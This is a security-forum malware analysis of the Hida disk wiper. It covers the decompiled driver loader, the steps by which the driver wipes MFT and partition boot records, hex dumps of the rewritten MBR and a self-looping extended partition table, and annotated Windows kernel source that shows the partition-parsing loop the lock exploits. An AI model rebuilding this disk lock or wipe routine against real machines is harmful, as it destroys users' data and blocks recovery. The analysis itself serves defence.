吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1927|回复: 6
收起左侧

[PC样本分析] Hida病毒分析与防御

[复制链接]
YWFhYmJi 发表于 2024-12-20 20:10
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
样本信息

HIDA_x64.exe
MD5: A8FDD696A912D5A339872E9529652AAB
SHA-1: 48D6FA13E10BF9681CCD49935916584151C16C4C
SHA-256: 5863025DA90C803987C4EC48AC09FDDDBD99FD7B644677475865591BF6CA6851

Hida_x86.exe
MD5: 6C1B11A4920E7294CB730614046B9CDF
SHA-1: 76C35D19190EAB42A632EC57BC126B99E043EFAF
SHA-256: 5367DA4B60BEA56BDC8EC14C01D66E7C3E6253B4122A69B34FE718E7CABA90C3

HidaSys_x64.sys
MD5: 453C61CB9DA5172BFE882CE0DD89A348
SHA-1: 52D52FD025B6B25F7338D9415E365E6F249F2240
SHA-256: 72182FF1C777CF42BC2BF5F17372A6F21B9EAF89AC7C0D2BE46747FCE246BB51

HidaSys_x86.sys
MD5: DE7DA23325C997539F3954691AB6F600
SHA-1: DDD57B118FBC300D174D360BC0DBE34AFBD63D80
SHA-256: 567EB7241090FF727220350D043191BC3F0DE6E0A44732F129339ADA5AAD3D9D

注意:样本的数字签名已经失效并被杀毒软件拉黑,所以此样本并无太大危害。本文只分析其穿透影子系统的技术及防御方法、硬盘逻辑锁原理及防御方法(只对64位的程序和驱动进行分析)

Hida_x64.exe
这就是一个驱动加载器,主要负责加载HidaSys_64.sys并发送控制码,下面是用IDA反编译的代码
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
LOWORD(BytesReturned[0]) = 0;
  sub_1400077A0(BytesReturned, L".\\HidaSys_x64.sys"); // wcscpy
  LOWORD(lpConsoleTitle[0]) = 0;
  sub_1400077A0(lpConsoleTitle, L"Hida_x64"); // wcscpy
  v35 = sub_140011280(lpServiceName, lpConsoleTitle, (LPCWSTR)BytesReturned);// 加载驱动
  LOWORD(lpConsoleTitle[0]) = 0;
  if...                                         // 错误处理
  FileW = CreateFileW(L"\\\\.\\Hida", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);// 打开驱动
  if...                                         // 错误处理
  BytesReturned[0] = 0;
  if ( !DeviceIoControl(FileW, 0x227014u, 0i64, 0, 0i64, 0, BytesReturned, 0i64) )// 发送驱动控制码
  {
// 错误处理
    goto LABEL_85;
  }
// 下面的都是显示中毒提示


HidaSys_x64.sys
病毒的主体就是这部分,使用IDA反编译,符号文件位置 H:\CodeSpace\Hida\x64\Release\HidaSys.pdb
发现有大量调试输出,根据调试输出重命名函数。由于病毒是通过发送控制码启动的,所以先找到ControlDispatch,继续从里面找到DestroyAll函数,流程为:
1. 通过名称获取硬盘驱动对象
2. 遍历硬盘驱动对象保存的设备对象,对每个硬盘设备进行破坏
3. 破坏硬盘设备时先解析分区表,再对每个分区进行破坏
4. 破坏分区时先破坏MFT(Master File Table,主文件表),再破坏PBR(Partition Boot Record,分区引导记录)
5. 修改MBR进行硬盘逻辑锁


所以感染此病毒后,无法进入Windows PE(逻辑锁),无法使用DiskGenius搜到分区表(PBR丢失),无法恢复文件(MFT丢失)


HidaSys_x64.sys.i64.7z (274.67 KB, 下载次数: 14)


硬盘逻辑锁分析
感染此病毒后,MBR被修改


[Plain Text] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0000   EA 05 7C 00 00 FA 31 C0  8E D0 BC F0 7B FB BB 00   ..|...1.....{...
0010   10 8E C3 B8 08 02 B9 02  00 B6 00 31 DB CD 13 06   ...........1....
0020   1F B8 00 20 8E C0 31 C0  89 C3 89 C1 89 C2 89 C7   ... ..1.........
0030   89 C6 AC 81 FE 1E 0B 73  2F 3C 80 73 02 EB 0F 24   .......s/<.s...$
0040   7F 88 C1 AC AA FE C9 80  F9 FF 75 F7 EB E4 88 C4   ..........u.....
0050   AC 89 C3 AC 1E 68 00 20  1F 89 F2 89 DE 88 C1 AC   .....h. ........
0060   AA E2 FC 89 D6 1F EB CA  B8 00 20 8E D8 8E C0 EA   .......... .....
0070   00 00 00 20 00 00 00 00  00 00 00 00 00 00 00 00   ... ............
0080   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0090   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00A0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00B0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00C0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00D0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00E0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00F0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0100   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0110   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0120   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0130   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0140   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0150   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0160   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0170   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0180   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0190   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
01A0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
01B0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 FE   ................
01C0   FF FF 0F FE FF FF 1A 02  00 00 7D 3E 00 00 00 00   ..........}>....
01D0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
01E0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
01F0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 AA   ..............U.


MBR

MBR


前面的引导代码是一段彩虹猫5.0的MBR代码,主分区表里只有一个扩展分区表,位于538扇区

扩展分区表一共有两个分区,第一个分区的起始扇区为12773,分区类型标记为07 NTFS(但实际是空的),第二个分区起始扇区为0,分区类型标记为05 Extended Partition,又是扩展分区表!(参考https://thestarman.pcministry.com/asm/mbr/PartTypes.htm
[Plain Text] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0000   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0010   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0020   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0030   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0040   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0050   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0060   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0070   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0080   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0090   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00A0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00B0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00C0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00D0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00E0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00F0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0100   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0110   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0120   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0130   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0140   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0150   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0160   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0170   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0180   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0190   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
01A0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
01B0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 FE   ................
01C0   FF FF 07 FE FF FF E5 31  00 00 99 6E 00 00 00 FE   .......1...n....
01D0   FF FF 05 FE FF FF 00 00  00 00 00 F0 25 00 CB A9   ............%...
01E0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
01F0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 AA   ..............U.


EBR

EBR


所以,在Windows启动的时候读取分区表会陷入死循环,无法启动

逻辑锁原理

逻辑锁原理


但是DiskGenius能发现并修复逻辑锁

DiskGenius能发现逻辑锁

DiskGenius能发现逻辑锁


Windows为什么会被逻辑锁
首先查看Win2k3 disk.sys的读取分区表的源代码(位于NT\drivers\storage\disk\part.c),发现经过缓存后直接调用了IoReadPartitionInfoEx,查看IoReadPartitionInfoEx的源代码(位于NT\base\ntos\fstub\ex.c),发现判断分区表类型后又调用了IoReadPartition。

下面分析IoReadPartitionInfo(源代码位于NT\base\ntos\fstub\drivesup.c),对BUG的解释就在第599行
[C] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
NTSTATUS
FASTCALL
IoReadPartitionTable(
    IN PDEVICE_OBJECT DeviceObject,
    IN ULONG SectorSize,
    IN BOOLEAN ReturnRecognizedPartitions,
    OUT struct _DRIVE_LAYOUT_INFORMATION **PartitionBuffer
    )
 
/*++
 
Routine Description:
 
    This routine walks the disk reading the partition tables and creates
    an entry in the partition list buffer for each partition.
 
    The algorithm used by this routine is two-fold:
 
        1)  Read each partition table and for each valid, recognized
            partition found, to build a descriptor in a partition list.
            Extended partitions are located in order to find other
            partition tables, but no descriptors are built for these.
            The partition list is built in nonpaged pool that is allocated
            by this routine.  It is the caller's responsibility to free
            this pool after it has gathered the appropriate information
            from the list.
 
        2)  Read each partition table and for each and every entry, build
            a descriptor in the partition list.  Extended partitions are
            located to find each partition table on the disk, and entries
            are built for these as well.  The partition list is build in
            nonpaged pool that is allocated by this routine.  It is the
            caller's responsibility to free this pool after it has copied
            the information back to its caller.
 
    The first algorithm is used when the ReturnRecognizedPartitions flag
    is set.  This is used to determine how many partition device objects
    the device driver is to create, and where each lives on the drive.
 
    The second algorithm is used when the ReturnRecognizedPartitions flag
    is clear.  This is used to find all of the partition tables and their
    entries for a utility such as fdisk, that would like to revamp where
    the partitions live.
 
Arguments:
 
    DeviceObject - Pointer to device object for this disk.
 
    SectorSize - Sector size on the device.
 
    ReturnRecognizedPartitions - A flag indicated whether only recognized
        partition descriptors are to be returned, or whether all partition
        entries are to be returned.
 
    PartitionBuffer - Pointer to the pointer of the buffer in which the list
        of partition will be stored.
 
Return Value:
 
    The functional value is STATUS_SUCCESS if at least one sector table was
    read.
 
Notes:
 
    It is the responsibility of the caller to deallocate the partition list
    buffer allocated by this routine.
 
--*/
 
{
    ULONG partitionBufferSize = PARTITION_BUFFER_SIZE;
    PDRIVE_LAYOUT_INFORMATION newPartitionBuffer = NULL;
 
    LONG partitionTableCounter = -1;
 
    DISK_GEOMETRY diskGeometry;
    ULONGLONG endSector;
    ULONGLONG maxSector;
    ULONGLONG maxOffset;
 
    LARGE_INTEGER partitionTableOffset;
    LARGE_INTEGER volumeStartOffset;
    LARGE_INTEGER tempInt;
    BOOLEAN primaryPartitionTable;
    LONG partitionNumber;
    PUCHAR readBuffer = (PUCHAR) NULL;
    KEVENT event;
 
    IO_STATUS_BLOCK ioStatus;
    PIRP irp;
    PPARTITION_DESCRIPTOR partitionTableEntry;
    CCHAR partitionEntry;
    NTSTATUS status = STATUS_SUCCESS;
    ULONG readSize;
    PPARTITION_INFORMATION partitionInfo;
    BOOLEAN foundEZHooker = FALSE;
 
    BOOLEAN mbrSignatureFound = FALSE;
    BOOLEAN emptyPartitionTable = TRUE;
 
    PAGED_CODE();
 
    //
    // Create the buffer that will be passed back to the driver containing
    // the list of partitions on the disk.
    //
 
    *PartitionBuffer = ExAllocatePoolWithTag( NonPagedPool,
                                              partitionBufferSize,
                                              'btsF' );
 
    if (*PartitionBuffer == NULL) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }
 
    //
    // Determine the size of a read operation to ensure that at least 512
    // bytes are read.  This will guarantee that enough data is read to
    // include an entire partition table.  Note that this code assumes that
    // the actual sector size of the disk (if less than 512 bytes) is a
    // multiple of 2, a fairly reasonable assumption.
    //
 
    if (SectorSize >= 512) {
        readSize = SectorSize;
    } else {
        readSize = 512;
    }
 
    //
    // Look to see if this is an EZDrive Disk.  If it is then get the
    // real parititon table at 1.
    //
 
    {
 
        PVOID buff;
 
        HalExamineMBR(
            DeviceObject,
            readSize,
            (ULONG)0x55,
            &buff
            );
 
        if (buff) {
 
            foundEZHooker = TRUE;
            ExFreePool(buff);
            partitionTableOffset.QuadPart = 512;
 
        } else {
 
            partitionTableOffset.QuadPart = 0;
 
        }
 
    }
 
    //
    // Get the drive size so we can verify that the partition table is
    // correct.
    //
 
    status = HalpGetFullGeometry(DeviceObject,
                                 &diskGeometry,
                                 &maxOffset);
 
    if(!NT_SUCCESS(status)) {
        ExFreePool(*PartitionBuffer);
        *PartitionBuffer = NULL;
        return status;
    }
 
    //
    // Partition offsets need to fit on the disk or we're not going to
    // expose them.  Partition ends are generally very very sloppy so we
    // need to allow some slop.  Adding in a cylinders worth isn't enough
    // so now we'll assume that all partitions end within 2x of the real end
    // of the disk.
    //
 
    endSector = maxOffset;
 
    maxSector = maxOffset * 2;
 
    KdPrintEx((DPFLTR_FSTUB_ID,
               DPFLTR_TRACE_LEVEL,
               "FSTUB: MaxOffset = %#I64x, maxSector = %#I64x\n",
               maxOffset,
               maxSector));
 
    //
    // Indicate that the primary partition table is being read and
    // processed.
    //
 
    primaryPartitionTable = TRUE;
 
    //
    // The partitions in this volume have their start sector as 0.
    //
 
    volumeStartOffset.QuadPart = 0;
 
    //
    // Initialize the number of partitions in the list.
    //
 
    partitionNumber = -1;
 
    //
    // Allocate a buffer that will hold the reads.
    //
 
    readBuffer = ExAllocatePoolWithTag( NonPagedPoolCacheAligned,
                                        PAGE_SIZE,
                                        'btsF' );
 
    if (readBuffer == NULL) {
        ExFreePool( *PartitionBuffer );
        return STATUS_INSUFFICIENT_RESOURCES;
    }
 
    //
    // Read each partition table, create an object for the partition(s)
    // it represents, and then if there is a link entry to another
    // partition table, repeat.
    //
    // 这里已经写出算法了:读取每个分区表,为其所表示的分区创建一个对象,如果存在指向另一个分区表的链接条目,则重复此过程
 
    do {
 
        BOOLEAN tableIsValid;
        ULONG containerPartitionCount;
 
        tableIsValid = TRUE;
 
        //
        // Read record containing partition table.
        //
        // Create a notification event object to be used while waiting for
        // the read request to complete.
        //
 
        KeInitializeEvent( &event, NotificationEvent, FALSE );
 
        //
        // Zero out the buffer we're reading into.  In case we get back
        // STATUS_NO_DATA_DETECTED we'll be prepared.
        //
 
        RtlZeroMemory(readBuffer, readSize);
 
        irp = IoBuildSynchronousFsdRequest( IRP_MJ_READ,
                                            DeviceObject,
                                            readBuffer,
                                            readSize,
                                            &partitionTableOffset,
                                            &event,
                                            &ioStatus );
 
        if (!irp) {
            status = STATUS_INSUFFICIENT_RESOURCES;
            break;
        } else {
            PIO_STACK_LOCATION irpStack;
            irpStack = IoGetNextIrpStackLocation(irp);
            irpStack->Flags |= SL_OVERRIDE_VERIFY_VOLUME;
        }
 
        status = IoCallDriver( DeviceObject, irp );
 
        if (status == STATUS_PENDING) {
            (VOID) KeWaitForSingleObject( &event,
                                          Executive,
                                          KernelMode,
                                          FALSE,
                                          (PLARGE_INTEGER) NULL);
            status = ioStatus.Status;
        }
 
        //
        // Special case - if we got a blank-check reading the sector then
        // pretend it was just successful so we can deal with superfloppies
        // where noone bothered to write anything to the non-filesystem sectors
        //
 
        if(status == STATUS_NO_DATA_DETECTED) {
            status = STATUS_SUCCESS;
        }
 
        if (!NT_SUCCESS( status )) {
            break;
        }
 
        //
        // If EZDrive is hooking the MBR then we found the first partition table
        // in sector 1 rather than 0.  However that partition table is relative
        // to sector zero.  So, Even though we got it from one, reset the partition
        // offset to 0.
        //
 
        if (foundEZHooker && (partitionTableOffset.QuadPart == 512)) {
 
            partitionTableOffset.QuadPart = 0;
 
        }
 
        //
        // Check for Boot Record signature.
        //
 
        if (((PUSHORT) readBuffer)[BOOT_SIGNATURE_OFFSET] != BOOT_RECORD_SIGNATURE) {
 
            KdPrintEx((DPFLTR_FSTUB_ID,
                       DPFLTR_WARNING_LEVEL,
                       "FSTUB: (IoReadPartitionTable) No 0xaa55 found in partition table %d\n",
                       partitionTableCounter + 1));
 
            break;
 
        } else {
            mbrSignatureFound = TRUE;
        }
 
        //
        // Copy NTFT disk signature to buffer
        //
 
        if (partitionTableOffset.QuadPart == 0) {
            (*PartitionBuffer)->Signature =  ((PULONG) readBuffer)[PARTITION_TABLE_OFFSET/2-1];
        }
 
        partitionTableEntry = (PPARTITION_DESCRIPTOR) &(((PUSHORT) readBuffer)[PARTITION_TABLE_OFFSET]);
 
        //
        // Keep count of partition tables in case we have an extended partition;
        //
 
        partitionTableCounter++;
 
        //
        // First create the objects corresponding to the entries in this
        // table that are not link entries or are unused.
        //
 
        KdPrintEx((DPFLTR_FSTUB_ID,
                   DPFLTR_TRACE_LEVEL,
                   "FSTUB: Partition Table %d:\n",
                   partitionTableCounter));
 
        for (partitionEntry = 1, containerPartitionCount = 0;
             partitionEntry <= NUM_PARTITION_TABLE_ENTRIES;
             partitionEntry++, partitionTableEntry++) {
 
            KdPrintEx((DPFLTR_FSTUB_ID,
                       DPFLTR_TRACE_LEVEL,
                       "Partition Entry %d,%d: type %#x %s\n",
                       partitionTableCounter,
                       partitionEntry,
                       partitionTableEntry->PartitionType,
                       (partitionTableEntry->ActiveFlag) ? "Active" : ""));
 
            KdPrintEx((DPFLTR_FSTUB_ID,
                       DPFLTR_TRACE_LEVEL,
                       "\tOffset %#08lx for %#08lx Sectors\n",
                       GET_STARTING_SECTOR(partitionTableEntry),
                       GET_PARTITION_LENGTH(partitionTableEntry)));
 
            if (partitionTableEntry->PartitionType == 0xEE) {
                FstubFixupEfiPartition (partitionTableEntry,
                                        maxOffset);
            }
             
            //
            // Do a quick pass over the entry to see if this table is valid.
            // It's only fatal if the master partition table is invalid.
            //
 
            if((HalpIsValidPartitionEntry(partitionTableEntry,
                                          maxOffset,
                                          maxSector) == FALSE) &&
               (partitionTableCounter == 0)) {
 
                tableIsValid = FALSE;
                break;
 
            }
            //
            // Only one container partition is allowed per table - any more
            // and it's invalid.
            //
 
            if(IsContainerPartition(partitionTableEntry->PartitionType)) {
 
                containerPartitionCount++;
 
                if(containerPartitionCount != 1) {
 
                    KdPrintEx((DPFLTR_FSTUB_ID,
                               DPFLTR_ERROR_LEVEL,
                               "FSTUB: Multiple container partitions found in "
                                   "partition table %d\n - table is invalid\n",
                               partitionTableCounter));
 
                    tableIsValid = FALSE;
                    break;
                }
 
            }
 
            if(emptyPartitionTable) {
 
                if((GET_STARTING_SECTOR(partitionTableEntry) != 0) ||
                   (GET_PARTITION_LENGTH(partitionTableEntry) != 0)) {
 
                    //
                    // There's a valid, non-empty partition here. The table
                    // is not empty.
                    //
 
                    emptyPartitionTable = FALSE;
                }
            }
 
            //
            // If the partition entry is not used or not recognized, skip
            // it.  Note that this is only done if the caller wanted only
            // recognized partition descriptors returned.
            //
 
            if (ReturnRecognizedPartitions) {
 
                //
                // Check if partition type is 0 (unused) or 5/f (extended).
                // The definition of recognized partitions has broadened
                // to include any partition type other than 0 or 5/f.
                //
 
                if ((partitionTableEntry->PartitionType == PARTITION_ENTRY_UNUSED) ||
                    IsContainerPartition(partitionTableEntry->PartitionType)) {
 
                    continue;
                }
            }
 
            //
            // Bump up to the next partition entry.
            //
 
            partitionNumber++;
 
            if (((partitionNumber * sizeof( PARTITION_INFORMATION )) +
                 sizeof( DRIVE_LAYOUT_INFORMATION )) >
                (ULONG) partitionBufferSize) {
 
                //
                // The partition list is too small to contain all of the
                // entries, so create a buffer that is twice as large to
                // store the partition list and copy the old buffer into
                // the new one.
                //
 
                newPartitionBuffer = ExAllocatePoolWithTag( NonPagedPool,
                                                            partitionBufferSize << 1,
                                                            'btsF' );
 
                if (newPartitionBuffer == NULL) {
                    --partitionNumber;
                    status = STATUS_INSUFFICIENT_RESOURCES;
                    break;
                }
 
                RtlCopyMemory( newPartitionBuffer,
                               *PartitionBuffer,
                               partitionBufferSize );
 
                ExFreePool( *PartitionBuffer );
 
                //
                // Reassign the new buffer to the return parameter and
                // reset the size of the buffer.
                //
 
                *PartitionBuffer = newPartitionBuffer;
                partitionBufferSize <<= 1;
            }
 
            //
            // Describe this partition table entry in the partition list
            // entry being built for the driver.  This includes writing
            // the partition type, starting offset of the partition, and
            // the length of the partition.
            //
 
            partitionInfo = &(*PartitionBuffer)->PartitionEntry[partitionNumber];
 
            partitionInfo->PartitionType = partitionTableEntry->PartitionType;
 
            partitionInfo->RewritePartition = FALSE;
 
            if (partitionTableEntry->PartitionType != PARTITION_ENTRY_UNUSED) {
                LONGLONG startOffset;
 
                partitionInfo->BootIndicator =
                    partitionTableEntry->ActiveFlag & PARTITION_ACTIVE_FLAG ?
                        (BOOLEAN) TRUE : (BOOLEAN) FALSE;
 
                if (IsContainerPartition(partitionTableEntry->PartitionType)) {
                    partitionInfo->RecognizedPartition = FALSE;
                    startOffset = volumeStartOffset.QuadPart;
                } else {
                    partitionInfo->RecognizedPartition = TRUE;
                    startOffset = partitionTableOffset.QuadPart;
                }
 
                partitionInfo->StartingOffset.QuadPart = startOffset +
                    UInt32x32To64(GET_STARTING_SECTOR(partitionTableEntry),
                                  SectorSize);
                tempInt.QuadPart = (partitionInfo->StartingOffset.QuadPart -
                                   startOffset) / SectorSize;
                partitionInfo->HiddenSectors = tempInt.LowPart;
 
                partitionInfo->PartitionLength.QuadPart =
                    UInt32x32To64(GET_PARTITION_LENGTH(partitionTableEntry),
                                  SectorSize);
 
            } else {
 
                //
                // Partitions that are not used do not describe any part
                // of the disk.  These types are recorded in the partition
                // list buffer when the caller requested all of the entries
                // be returned.  Simply zero out the remaining fields in
                // the entry.
                //
 
                partitionInfo->BootIndicator = FALSE;
                partitionInfo->RecognizedPartition = FALSE;
                partitionInfo->StartingOffset.QuadPart = 0;
                partitionInfo->PartitionLength.QuadPart = 0;
                partitionInfo->HiddenSectors = 0;
            }
 
        }
 
        KdPrintEx((DPFLTR_FSTUB_ID, DPFLTR_TRACE_LEVEL, "\n"));
 
        //
        // If an error occurred, leave the routine now.
        //
 
        if (!NT_SUCCESS( status )) {
            break;
        }
 
        if(tableIsValid == FALSE) {
 
            //
            // Invalidate this partition table and stop looking for new ones.
            // we'll build the partition list based on the ones we found
            // previously.
            //
 
            partitionTableCounter--;
            break;
        }
 
        //
        // Now check to see if there are any link entries in this table,
        // and if so, set up the sector address of the next partition table.
        // There can only be one link entry in each partition table, and it
        // will point to the next table.
        //
 
        partitionTableEntry = (PPARTITION_DESCRIPTOR) &(((PUSHORT) readBuffer)[PARTITION_TABLE_OFFSET]);
 
        //
        // Assume that the link entry is empty.
        //
 
        partitionTableOffset.QuadPart = 0;
 
        for (partitionEntry = 1;
             partitionEntry <= NUM_PARTITION_TABLE_ENTRIES;
             partitionEntry++, partitionTableEntry++) {
 
            if (IsContainerPartition(partitionTableEntry->PartitionType)) {
 
                //
                // Obtain the address of the next partition table on the
                // disk.  This is the number of hidden sectors added to
                // the beginning of the extended partition (in the case of
                // logical drives), since all logical drives are relative
                // to the extended partition.  The VolumeStartSector will
                // be zero if this is the primary parition table.
                //
                // BUG就在这里,既没有判断同样的扇区是否被访问过,又没有判断新扇区是否是前面的扇区,就卡在这个循环里了,直到最后因为无法分配内存而退出
 
                partitionTableOffset.QuadPart = volumeStartOffset.QuadPart +
                    UInt32x32To64(GET_STARTING_SECTOR(partitionTableEntry),
                                  SectorSize);
 
                //
                // Set the VolumeStartSector to be the begining of the
                // second partition (extended partition) because all of
                // the offsets to the partition tables of the logical drives
                // are relative to this extended partition.
                //
 
                if (primaryPartitionTable) {
                    volumeStartOffset = partitionTableOffset;
                }
 
                //
                // Update the maximum sector to be the end of the container
                // partition.
                //
 
                maxSector = GET_PARTITION_LENGTH(partitionTableEntry);
 
                KdPrintEx((DPFLTR_FSTUB_ID,
                           DPFLTR_TRACE_LEVEL,
                           "FSTUB: MaxSector now = %#08lx\n",
                           maxSector));
 
                //
                // There is only ever one link entry per partition table,
                // exit the loop once it has been found.
                //
 
                break;
            }
        }
 
 
        //
        // All the other partitions will be logical drives.
        //
 
        primaryPartitionTable = FALSE;
 
 
    } while (partitionTableOffset.HighPart | partitionTableOffset.LowPart);
 
    //
    // Detect super-floppy media attempt #1.
    // If the media is removable and has an 0xaa55 signature on it and
    // is empty then check to see if we can recognize the BPB.  If we recognize
    // a jump-byte at the beginning of the media then it's a super floppy.  If
    // we don't then it's an unpartitioned disk.
    //
 
    if((diskGeometry.MediaType == RemovableMedia) &&
       (partitionTableCounter == 0) &&
       (mbrSignatureFound == TRUE) &&
       (emptyPartitionTable == TRUE)) {
 
        PBOOT_SECTOR_INFO bootSector = (PBOOT_SECTOR_INFO) readBuffer;
 
        if((bootSector->JumpByte[0] == 0xeb) ||
           (bootSector->JumpByte[0] == 0xe9)) {
 
            //
            // We've got a superfloppy of some sort.
            //
 
            KdPrintEx((DPFLTR_FSTUB_ID,
                       DPFLTR_TRACE_LEVEL,
                       "FSTUB: Jump byte %#x found "
                           "along with empty partition table - disk is a "
                           "super floppy and has no valid MBR\n",
                       bootSector->JumpByte));
 
            partitionTableCounter = -1;
        }
    }
 
    //
    // If the partition table count is still -1 then we didn't find any
    // valid partition records.  In this case we'll build a partition list
